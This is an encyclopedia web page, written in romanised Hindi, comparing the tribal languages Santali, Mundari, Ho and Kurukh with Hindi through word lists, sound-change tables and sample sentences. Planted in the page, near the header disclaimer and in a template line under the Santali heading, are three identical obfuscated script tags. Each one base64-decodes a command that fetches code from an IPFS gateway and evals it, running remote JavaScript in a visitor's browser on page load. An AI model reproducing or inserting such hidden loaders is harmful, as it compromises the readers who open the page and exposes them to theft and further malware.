| chitr:Icon-edit.gif
|
yah lekh svatantr lekhan shreni ka lekh hai. is lekh mean prayukt samagri, jaise ki tathy, aank de, vichar, chitr adi ka, sanpoorn uttaradayitv is lekh ke lekhak/lekhakoan ka hai bharatakosh ka nahian.
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- lekhak- lakshmanaprasad sinha
saral, nishchchhal aur adanbahin nagarik ke roop mean bharat ke adivasi ramayan-mahabharat kal se hi apani mahatvapoorn bhoomika nibhate rahe haian. prakriti se unaka tadatmy sanbandh raha hai jisake parinamasvaroop unaki sangitamay naisargik boli aisi pratit hoti hai, jaise baansuri baj rahi ho. desh ke vibhinn bhag mean phaile adivasiyoan mean samajik aur saanskritik ekaroopata milati hai. yah durbhagy ka vishay hai ki apane desh mean adivasiyoan ka nirantar shoshan ho raha hai. isaka pramukh karan hai unake prati upekshabhav. isake atirikt desh ke samantavadi prishthabhoomi tatha jati-paanti ke bhedabhav bhi adivasi-shoshan ke lie bahut adhik uttaradayi hai. bharatavarsh mean arthik aur rajanitik drishti se adivasiyoan ka shoshan to hua hi hai, ve saanskritik shoshan ke shikar rahe haian. unaki apani matribhasha rahi hai, jo shanai: shanai: lupt hoti ja rahi hai. adivasi jab bolate haian, to unase sangitamayi dhvani nikalati hai.
bharat ke adivasiyoan mean prachalit adivasi bhashaean do bhasha-parivar ke antargat vargikrit ki gee haian- astro eshiyatik (agney) bhasha parivar tatha, dravi d bhashaparivar. astro eshiyatik bhasha-parivar ki muanda shakha ke antargat tin mahatvapoorn bhashaean haian- ‘santali’, ‘ho’ tatha ‘muandari’. isi prakar dravi d bhasha ki uttari dravi d shakha ke antargat mahatvapoorn bhasha ‘kurukh’ hai jo bharatiy adivasiyoan ke bich atyadhik lokapriy hai.
‘santali’, ‘ho’ ya ‘muandari’ chooanki ek hi bhasha-parivar se vyatpann haian, isalie unaki rooparachana mean bahut kuchh samy svabhavik hai. vaise virohar, bhoomij, turi aur asuri adi is parivar ki gaun boliyaan haian. sar j aaurj griyarsan ke anusar santal, ho, muanda, bhoomij, virohar adi adivasiyoan ke poorvaj kharavar kahe jate haian. aj kharavar chhotanagapur ke grihasth haian, jinaki jivika ka sadhan krishikary hai. chooanki muanda dakshin se hote hue uttar bharat mean a base haian, isaliy aryabhashaoan se parasparik sanpark ke karan inamean hindi ke bahutere shabd a ge haian.
santali
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
muanda-parivar ki bhashaoan mean santali bahut hi lokapriy bhasha hai. ise santhali bhi kaha jata hai. pray: 500 kilomitar kshetr mean base muanda adivasiyoan mean 57 pratishat log santali bolate haian. 1971 ki janaganana ke anusar santali bhasha-bhashiyoan ki sanstha 36,93,558 hai. bharat mean santal adivasi ek b de bhoobhag mean base haian. sarvekshan se yah jnat hota hai ki uttar mean isaki sima rekha ganga nadi hai tatha dakshin mean vaitarani nadi. phir bhi pramukh roop se ye bihar ke santal paragana zile mean hi base haian. chhutapuchh roop se ye bihar ke bhagalapur, muanger, sianhabhoom, bangal ke bardaman, baanku da, midanapur tatha asam ke jalapaigu di mean bhi ja base haian. santali mean hindi ke char-char paranparit kanthy, talavy, moordhany, danty tatha oshthy varnoan ka prachalan hai aur pratyek varn ke aant mean anunasik vyanjan milata hai. sath hi, hindi ke saman varnoan ka kram bhi alpapran ke bad mahapran hai arthath pratyek varg ke varn n to lagatar mahapran ho sakate haian aur nahi alpapran hi. chooanki santali bhasha-bhashi aj bihar, bangal aur asam ke vibhinn kshetroan mean base haian, isalie svabhavik roop se paraspar saanskritik sanpark ke karan santaloan ne karyabhasha ke bahutere shabdoan ko apana liya hai. isilie hindi ka tatsam, tadbhav, deshaj aur videshi shabdoan ke yathatathy roop santali mean mukt roop se prachalit hai. aise shabdoan ki sankhya to bahut hai, kiantu samy-digdarshan hetu kuchh udaharan prastut haian-
| tatsam
|
eeshvar, arasi, rrishi, katha, khand, tula, tej, daya, guroo, vish adi.
|
| tadbhav
|
adha, upas, oda, ooant, karja, gho da, muti, achar, vichar, bhitari adi.
|
| deshaj
|
aloo, kaboo, chabhi, lota, ghani adi.
|
| videshi
|
amadani, ianjin, iansaph, inam, elan, kayada, karakhana, qissa , khushamad, tarikh, matalab adi.
|
santali bhasha mean aise shabd bhi prachalit haian jinaka prachalan to hindi bhasha mean nahian hai, kiantu vikalp se unase dhvanigat saman shabd hindi bhasha vartaman hai. vastut: mool roop se aise shabd santali se hindi mean ae haian aur svatantr roop se muanda bhasha-parivar mean vikasit hone ke karan aj dhvanyatmak roop se ye hindi se bhinn pratit ho rahe haian. bhasha ki parivartanashilata ki tula par hindi aur santali ke roop-bhed ka disha-nirdesh sahaj roop se sambhav hai-
1. alpapran – mahapran
| alpapran se mahapran
|
| hindi
|
santali
|
| ooant
|
ooanth
|
| tambakoo
|
tanmasur
|
| tarabooj
|
tarabhuj
|
| mahapran se alpapran
|
| dhibari
|
dibari
|
| phal
|
pal
|
| hathi
|
hati
|
| dukh
|
duk
|
|
2. ghosh - aghosh
| aghosh se ghosh
|
| hindi
|
santali
|
| jutana
|
ju dav
|
| shukratara
|
bhuraka
|
| sasta
|
sahata
|
| masjid
|
mahajid
|
| ghosh se aghosh
|
| avasar
|
apasar
|
| dimag
|
dimak
|
| julan
|
julap
|
| nariyal
|
narako d
|
| balig
|
balok
|
|
3. agam (svar)
| adi
|
hindi
|
santali
|
|
|
apaman
|
aupaman
|
|
|
amin
|
amin
|
|
|
khajoor
|
khijoor
|
|
|
jata
|
jata
|
|
|
varis
|
ovaris
|
| madhy
|
umar
|
umer
|
|
|
tuar
|
tuar
|
|
|
ulat
|
ulat
|
|
|
turat
|
turant
|
|
|
karan
|
karom
|
| aant
|
ianch
|
ianchi
|
|
|
ta d
|
ta de
|
|
|
chaand
|
chaandi
|
|
3. agam (vyanjan)
| madhy
|
hindi
|
santali
|
|
|
kaianchi
|
kapachi
|
|
|
kela
|
kapara
|
|
|
chunauti
|
chunayati
|
|
|
chhilaka
|
chokalak
|
| ant
|
choo di
|
churali
|
|
|
chhata
|
chhatar
|
|
|
thaili
|
thailar
|
|
|
sadhoo
|
sa dage
|
|
|
bhado
|
bhador
|
|
4. lop (svar)
| adi
|
hindi
|
santali
|
|
|
udhar
|
dhar
|
|
|
aandolan
|
aandolan
|
|
|
arahar
|
roh d
|
| ant
|
tikuli
|
tikul
|
|
|
mirachaee
|
marich
|
|
4. lop (vyanjan)
| adi
|
hindi
|
santali
|
|
|
steshan
|
tisan
|
|
|
shmashan
|
masan
|
| madhy
|
koyal
|
kol
|
|
|
kiphayat
|
kiphat
|
|
|
savan
|
san
|
| madhy
|
chay
|
cha
|
|
|
bater
|
bata
|
|
5. viparyay
| hindi
|
santali
|
| roomal
|
uramal
|
| kahani
|
kahani
|
| akha da
|
akh da
|
| bayana
|
bayana
|
|
6. parshvik dhvani ka luanthit dhvani mean parivartan
| hindi
|
santali
|
| aanchal
|
aanchar
|
| kajal
|
kajar
|
| talu
|
taroo
|
| tulasi
|
turasi
|
| talavar
|
tarava di
|
|
7. luanthit ka parshvik dhvani mean parivartan
| hindi
|
santali
|
| karigar
|
karigol
|
| patthar
|
patthal
|
| mandir
|
mandil
|
| 8. anunasik ka parshvik dhvani mean parivartan
|
| nianboo
|
lembo
|
| nalish
|
lalis
|
| nukasan
|
lokasan
|
| notis
|
lutis
|
|
santali apane kshetr-vishesh mean prachalit hindi ki vibhashaoan se vishesh roop se prabhavit rahi hai. is prakar bihar mean is bihari vibhasha ka prabhav spasht hai. rassa, divali, barttan, kasam, hissa, achchha adi jaise saiank doan shabd ke vikalp roop mean bihari vibhasha mean jo shabd prachalit haian, unase santali ki samata hai-
| hindi
|
santali
|
bihari
|
| rassa
|
barahi
|
baraha
|
| divali
|
soharay
|
soharai
|
| barttan
|
khanda
|
khanda
|
| kasam
|
kiriya
|
kiriya
|
| hissa
|
bakhara
|
bakhara
|
| achchha
|
bes
|
bes
|
jivika ki khoj mean muanda adivasi bangal aur asam ke vibhinn bhagoan mean ja base haian. asam ke jalapaeegu di mean bahut b di sankhya mean muanda adivasi kuli ke roop mean pratiniyojit haian. isalie santali shabdoan par bangala aur asamiya ka prabhav bhi svabhavik roop se parilakshit hai. isaka, praman hai- ‘a’ ki vartulakar dhvani. chooanki yah vartulakar uchcharan santali bhasha ki maulik nahian, anukaran par adharit hai, isalie is bhasha ki lipi mean bhi ‘a’ ki okar dhvani se nirmit shabd mukt roop se prachalit ho ge haian.yatha -
| hindi
|
likhit bangala
|
uchcharit bangala
|
santali
|
| antarman
|
antarman
|
ontoramon
|
ontoramon
|
| jalapan
|
jalapan
|
jolapan
|
jolapan
|
| jantar
|
jantar
|
jontor
|
jontor
|
| janjal
|
janjal
|
joanjol
|
joanjol
|
| kasht
|
kasht
|
koshto
|
koshto
|
santali ke vaky-vinyas bhi hindi aur isaki vibhashaoan ke itane nikat haian ki b de sadharan prayas se unhean samajha ja sakata hai. kuchh vakyoan se is kathan ki pushti ho jati hai.
| santali
|
hindi
|
| jantere dal ko rida
|
jaante mean dal pisi jati hai.
|
| bangali asokayate hakoki jam koa
|
bangali vishesh roop se machhali khate haian.
|
| dhak vasa d ena, chavale khadale mean
|
pani garam ho gaya, chaval dalo
|
is prakar santali mean prachalit shabdoan, unaki rooparachana, vaky-vinyas ka bhashavaijnanik vishleshan karane par yah bat sarvatha spasht ho jati hai ki santal adivasi aryabhasha sanskriti mean itane adhik ghulamil ge haian ki donoan bhashaoan mean parthaky ki apeksha mailik samata ki matra bahut adhik hai.
muandari
muanda parivar mean santali, ho, korakoo, kh diya, bhoomij adi kee pramukh bhashaean haian kiantu apani janani ka nam muandari hi uttaradhikar ke roop mean pa saki hai. muandari ka, prachalan bihar ke raanchi zile ke dakshini-pashchimi bhag mean hai. vaise, hajaribag ke poorvi bhag tatha palamoo zile mean bhi muandari boli jati hai. ullekhaniy bat yah hai ki raanchi zile ke dakshini bhag mean ‘ho’ bhasha ke samanaantar vikasit hoti huee dakshin-pashchim mean muandari bhasha u disa ke bamara tatha sanbalapur tak chali gee hai. isaki doosari shakha raanchi zile ke uttari bhag arthath palamoo hote hue madhyapradesh ke aanbikapur tak pahuanch gee hai. niyojan ki khoj mean muanda adivasi bangal ke chaubis paragana tatha asam ke jalapaigu di chayabagan tak ja base haian. 1971 ki janaganana ke anusar muandari bhasha-bhashiyoan ki sankhya 770916 hai.
santali ke saman muandari bhasha ke shabdoan mean bhi hindi se bahut adhik samata hai. hindi se prachalit deshaj aur videshi shabd muandari mean bhare hi haian. sath hi, kadal, kutuanb, guru, tula, tuanba, daya, darpan aur din jaise tatsam shabdoan ka bhi muandari mean mukt prachalan hai. lota, karachhul, dhakana, dhela jaise deshaj tatha kalam, talab, nakalanabis, mej, moja adi videshi shabdoan se yah spasht pata chalata hai ki saanskritik drishti se donoan bhashaean ek doosare ke samip haian. yadi kuchh bhinnata dikhaee p dati hai to usake karan haian – sthanagat bhed tatha bhinn vansh-paranpara mean bhasha ka vikas. muandari ki bat kaun kahe, svayan hindi ki vibhashaoan mean aise kee shabd vikasit hue haian jinaki apani moolabhasha ke sath koee dhvanyatmak samata pratit nahian hoti, kiantu ashchary ka vishay yah hai ki apani vibhasha ke sath hindi ki shabdasamata ka bhram bhale hi utpann ho, apani samipavarti muandari bhasha se unaka pratyaksh samy hai. dhvani aur arth ki drishti se hindi ki bihari vibhasha aur muandari bhasha mean aise bahutere samanarthi shabd prachalit haian:
| hindi
|
muandari
|
bihari
|
| buddhi
|
akil
|
akkil
|
| eekh
|
katauri
|
ketari
|
| bahoo
|
konaya
|
kanaya
|
| amarood
|
tambaras
|
tam das
|
uparyukt udaharanoan mean buddhi, eekh, bahoo, amarood ke sath muandari ke kramash: akil, katauri, koniya, tambaras, me koee dhvanyatmak nahian hai kiantu ye shabd bihari vibhasha ke kramash: akkil, ketari, kanaya tatha tam das se bhinn pratit nahian hote. aise udaharan visheshan aur kriya sahit any padavibhagoan mean bhi mil sakate haian:
| hindi
|
muandari
|
bihari
|
| chau da
|
chakar
|
chakar
|
| majaboot
|
jabar
|
jab d
|
usinana (ubalana), konana (dhyan se sunana) tatha higarana (alag karana) adi kriyaean bihari aur muandari mean saman arth ka duyotan karati haian. muandari mean prachalit kaka (kaka), jati (jati), dali (dali), nata (nata), kamachi (kamachi), kahani (kahani), asal (asali), ausar (osara), gada (gadda), macha (machan), mugar (mudgar) adi lop tatha tupari (topi), sabooti (saboot) sianduri (siandoor), hansa (hans) adi roop agam se spasht hokar yah siddh karate haian ki vikasakram mean inamean svalp bhed bhale a gaya ho, moolat: ye shabd hindi ke sannikat hai. hindi ka ‘gajar’ viparyay ke dvara muandari mean ‘gajara’ ho jata hai. ‘chay’ ka vaikalpik roop bihari vibhasha me ‘chah’ hai. muandari mean isaka roop ‘chaha’ hai jo spashtat: ‘chah’ ka viparyay hai. ghosh, aghosh, mahapranikaran tatha alpapranikaran ke karan hindi aur muandari bhasha mean bhinnata pratit hoti hai. udaharanarth, aghosh varn ‘p’ ‘b’ mean parivartit hokar hindi ka ‘papita’ muandari mean ‘pabita’ ban jata hai. isi prakar ‘tara-mara’ ‘batar’ aur ‘sukari’ hindi ke lie sarvatha ne shabd pratit hote haian. vastut: ye kramash: ‘jara-mara’ ‘bhitar’ aur ‘suar’ ke parivartit roop haian, jinamean ghosh varn aghosh mean parivartit ho ge haian. isi prakar muandari shabd kassi (khassi), dibari (dhibari), udar (udhar), adika (adhik), pukari (paukhari), betekan (bethakan), duku (dukh) hindi ke mahapran varn se alpapranikaran ke udaharan haian.
muandari bhashabhashiyoan ki ek shakha jivika ki khoj mean bangal aur asam ki or gee aur vahian bas gee. parinamasvaroop adhunik bharatiy aryabhasha – bangala aur asamiya ke shabd bhi muandari bhasha mean mukt roop se prachalit ho ge haian. yatha-ekala (akela), eman (aisa), guli (goli), tove (tab) tatha moto (mota) adi.
ho
bihar ke sianhabhoom zile tatha u disa ke raurakela, varipada aur mayoorabhanj mean muanda parivar ke adivasi, jo bhasha bolate haian use ‘ho’ kaha jata hai. 1971 ki janaganana ke anusar ‘ho’ bhasha-bhashiyoan ki sankhya 749793 hai. ‘ho’ shabd ki vyatpatti muanda parivar ki santali bhasha ke ‘ho d’ shabd se huee hai. ho d ka arth hai – adami. antim varn ke lop se ‘ho’ shabd bana hai. ‘ho’ bhashabhashi yah manate haian ki ve vir kol ki santan hai jinhean ‘l daka kol’ kaha jata tha. itihas se yah jnat hota hai ki ye kol b de yoddha the. jab bhi in par bahari akraman hua to apani bhoomi se akramanakariyoan ko inhoanne bhagakar hi dam liya.
vaise to isi kshetr mean ‘ho’ bhasha ke samanaantar muandari bhasha bhi prachalit hai, kintu ‘ho’ sianhabhoom zile ki pradhan bhasha hai. chooanki sianhabhoom bhi hindi-bhashi kshetr hai, isalie hindi se milate-julate shabd ‘ho’ bhasha mean bhi saman roop se vyavahrit hai. grihasthi ki samagri lean to chabhi, thaili, ol, dhaniya, jira, amarood adi shabd donoan hi bhashaoan mean saman roop se prachalit haian. vyavasayi, sonar, asur adi shabdoan mean kahian koee bhed nahian. kahian kuchh bhed hai bhi, to yah spasht jnat hota hai ki aise parivartit roop dhvani-parivartan ke pratiphalan haian. is drishti se ‘ho’ bhasha mean prachalit gaee (gay), gada (gadaha), goroo d (garoo d), hati (hathi), sukar (suar), riangur (jhiangur) adi shabd hind mean sarvatha bhinn nahian kahe ja sakate. din ke nam ko lean, to somavar, budhavar aur guruvar ‘ho’ bhasha mean bhi saman roop se prachalit haian. haan ravivar, mangalavar, shukravar aur shanivar ke vikalp mean kramash: rooeevar, mogo davar, sukuravar aur sanivar ka prachalan hai.
‘ho’ bhasha ke samanyat: hindi ka sangharshi varn ‘h’ lupt ho jata hai. yatha— k daee (k dahi), gada (gadaha), goa (gavah), dee (dahi), sayob (sahab). hindi mean prachalit shabd ke roop ‘ho’ bhasha mean jab dhvani-parivartan ke niyam se prabhavit hote haian to donoan bhashaoan ke shabdoan mean bhed ka bhram hota hai. ‘ho’ mean prachalit poshu (pashu), komajor (kamazor), rasi (ras), chavali (chaval), amv da (am da), chatom (chhata), disum (desh) adi agam tatha karala (karaila), sabon (sabun), baianga (baiangan) adi shabd dhvani-parivartan ke lop niyam ke prabhav se vikasit haian. isi prakar doba (dhobi), gasi (ghas), balu (bhaloo), hati (hathi), mage (magh), puraka (purakha) adi roop se spasht hota hai ki hindi ke mahapran varn ‘ho’ mean alpapran ban ge haian. ‘ho’ bhasha ke kriya-roop prithakh haian, kiantu ve hindi se bahut door nahian dikhaee p date, arthath tho de prayas se donoan ke bich samata sthapit ki ja sakati hai. yatha-
| ho
|
hindi
|
| okon hon p dav tana?
|
kaun l daka padhata hai?
|
| chia ini kitabe p dav tana?
|
kya vah kitab padhata hai?
|
| imi kitab e padhav le d taeena
|
usane kitab padhi thi.
|
sianhabhoom zile mean aryabhasha parivar ki bihari vibhasha boli jati hai. ‘ho’ bhasha par bihari vibhasha ke shabdoan ka bhi prabhav p da hai.
uraanv ya kurookh
bharat mean prachalit adivasi bhashaoan mean uraanv ek mahatvapoorn bhasha hai, kiantu any adivasi bhashaoan ke saman ise kol ya muanda shakha ke aantargat vargikrit nahian kiya gaya hai. ise dravi d-parivar ki bhasha mana gaya hai. dravi d bhasha-parivar ki dakshini dravi d shakha mean tamil, telugu, kann d aur malayalam char pramukh bhashaoan ka prachalan hai. bhashavijnaniyoan ne uraanv ko uttari dravi d shakha ki bhasha mana hai. 1971 ki janaganana ke anusar uraanv bhasha-bhashiyoan ki sankhya 1240395 hai. uraanv chooanki kurookh adivasiyoan ki bhasha hai, isalie isaka doosara nam kurookh bhasha bhi hai. kurookh adivasiyoan ki manyata hai ki moolat: ve karnatak ke nivasi the, jahaan se uttar-poorab ki or ve do toliyoan mean badhe. ek toli ganga ke dakshin kinare hoti huee poorab ki or badhi aur bihar ki rajamahal paha diyoan mean bas geean. doosari toli son ke kinare chalakar madhyapradesh ke ambikapur aur vilasapur adi marg se bihar ke dakshin-poorab bhag aur u disa ke uttar-poorab mean bas gee. jahaan doosari toli basi hai, vah bihar mean chhotanagapur tatha u disa mean bamara, sanbalapur adi ke nam prasiddh hai. janasankhya ki drishti se is jati ke adhikaansh adivasi chhotanagar ke raanchi zile mean hi base haian. is prakar kurookh adivasi bharat ke jin bhagoan mean aj base haian, vah kshetr chhotanagapur ke pathar se hote hue poorab mean madhyapradesh ke aanbikapur aur vilasapur zile mean hai tatha dakshin mean u disa ke suandaragadh aur sanbalapur zile avasthit haian.
bhasha ki drishti se bihar aur madhyapradesh mean aryabhasha hindi tatha u disa mean aryabhasha u diya ka prachalan hai. hindi ki boliyoan mean bihar ke chhotanagapur mean hindi ki bihari vibhasha tatha aanbikapur tatha bilasapur adi mean poorvi hindi prachalit hai. in kshetroan mean adivasiyoan ke muanda parivar ki bhashaean prachalit haian hi. aisi sthiti mean uraanv bhasha par hindi tatha u diya bhashaoan tatha bihari aur poorvi hindi vibhashaoan ke paraspar sanpark se is dravi d aur aryabhashaoan parivar ka saanskritik sanbandh sthapit ho gaya hai. saiank doan varshoan ke saanskritik mel ke karan is dravi d bhasha aur ary-bhasha mean pratyaksh samata hai. chooanki tin chauthaee kurookh bihar ke chhotanagapur ke pathar mean base hue haian, isaliy uraanv bhasha ke sath hindi bhasha ki vishesh samata sarvatha svabhavik hai.
hindi aur uraanv bhasha ke tulanatmak vishleshan se yah bat sarvatha spasht ho jati hai ki donoan bhashaoan ki shabdavali mean bahut adhik samata hai. gulab, kamal, baans ta d, ooant, kachhua, gadaha adi shabd donoan hi bhashaoan mean saman roop se prachalit haian. aise shabdoan ki sankhya hajaroan hogi, jo donoan bhashaoan mean samanaroop se prachalit haian: kiantu jahaan bhed bhi haian, dhvanyatmak parivartan ke karan bhed ke disha-nirdesh se bhram ka nivaran ho jata hai. din ke nam lean to bihari vibhasha mean, prachalit etavar, somar, mangar, budh, biphe, sukar, aur sanichar donoan hi bhashaoan mean yathatathy roop se prachalit haian. inake atirikt dhvani-parivartan ke karan bhi donoan bhashaoan ki shabdavali mean svalp bhed ka abhas hota hai. udaharanarth ‘dadhi’ (dadhi), ‘chhati’ (chhati), ‘dana’ (dana), ‘narati’ (nareti), ‘narangi’ (narangi) adi mean dhvani — parivartan ke lop niyam ka prabhav hai. isi prakar ‘panduki’ (panduk), ‘hansa’ (hans), ‘beanta’ (beant), ‘dali’ (dal), ‘khuri’ (khur), ‘jehal’ (jel) tatha ‘khadan’ (khan) agam ke udaharan hai. hindi akarant shabdoan ke sath sangharshi varn ‘s’ ke yog se uraanv bhasha mean shabd-nirman ki samany pravritti paee jati hai. yatha-
| hindi
|
uraanv
|
| kochavan
|
kochavasan
|
| lohar
|
loharas
|
| chaukidar
|
chaukidaras
|
hindi shabd yadi dirdhaant ho to ‘s’ ke yog ke poorv dirgh svar ko hasv bana liya jata hai. yatha—
| hindi
|
uraanv
|
| baniya
|
baniyas
|
| kirani
|
kiranis
|
| aanguli
|
aangalis
|
| sadhoo
|
sadhas
|
parshvik dhvani ka luanthit dhvani mean parivartan
| hindi
|
uraanv
|
| pipal
|
pipar
|
| mooli
|
muri
|
uraanv bhashabhashi aj vahaan base haian jahaan hindi ki bihari tatha poorvi hindi vibhasha ka prachalan hai. aisi sthiti mean uraanv bhasha mean bhi aise shabd prachalit haian jo hindi se to bhinn pratit hote haian kiantu hindi ki vibhashaoan se inaka roopasamy hai-
| hindi
|
uraanv
|
bihari
|
poorvi hindi
|
| ghoop
|
gham
|
gham
|
gham
|
| chau da
|
chakar
|
chakar
|
chakar
|
| jab da
|
chauhatta
|
chauhatta
|
chauhat
|
| shikha
|
chuandi
|
chuandi
|
chooandi
|
uraanv ke vakyavinyas se bhi hindi ki samata ka sanbandh duyotit hota hai. yatha—
| uraanv
|
hindi
|
| ee a di hudi ti damakar ree
|
yah gh da usase vajanadar hai.
|
| somaras etavas ti b dayar
|
somar etava se majaboot hai.
|
| somaras etavas ti dher
|
somar etava se adhik majaboot hai.
|
| karami mandi mean chikhi hutang
|
karami khana ke lie chikhati hogi.
|
santali, muandari, ho tatha uraanv yogatmak parivar ki bhashaean haian. vastut: in bhashaoan mean kuchh aisi visheshataean haian, jo anyatr durlabh haian. sanskrit ke saman in bhashaoan mean tin vachanoan ka prachalan hai- ekavachan, dvivachan tatha bahuvachan; kiantu yah trivachan pranali sanskrit se kuchh prithakh bhi hai. dvivachan ke lie do bhinn roop milate haian. ek roop hai- shrota samet vakta aur doosara roop hai- shrota ko chho dakar any purush samet vakta. is prakar purush ke anusar pratyek kartta ke lie prithakh kriya ka prayog hota hai arthath keval kriya-roop dekhakar hi usake kartta ka sahaj bodh ho jata hai.
dhvaniyoan ki drishti se adivasi bhashaean paryapt samriddh haian. abhivyakti ke lie hindi ke pray: sabhi svar aur vyajann adivasi bhashaoan mean prachalit haian. in bhashaoan mean ghosh, aghosh, alpapran, mahapran adi sabhi vyanjan vartaman haian. ek vishesh yah hai ki adivasiyoan mean bis ki ganana-pranali ka prachalan hai arthath sattar ke lie ve kaheange— tin bis aur das. d aau. griyarsan ka anuman uchit hi pratit hota hai ki hindi bhasha mean ganan ki aisi prachalit pranali adivasiyoan ke sath ary bhashabhashiyoan ke paraspar sanpark ka pratiphalan hai. bharat ke muanda, dravi d aur ary sudirgh kal tak sath-sath rahate ae haian. sab ne bhasha se badhakar rashtriy ekata ko mahatvapoorn mana hai. isaliy svabhavik roop se sabaki bhashaoan mean ek doosare ki shabdavali ka adan-pradan milata hai. yahi karan hai ki hindi aur adivasi bhashaoan mean jo aantarik samata dikhaee p dati hai, vah bharatiy parivesh ki anekata mean ekata ko poornaroop se charitarth karati hai.
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
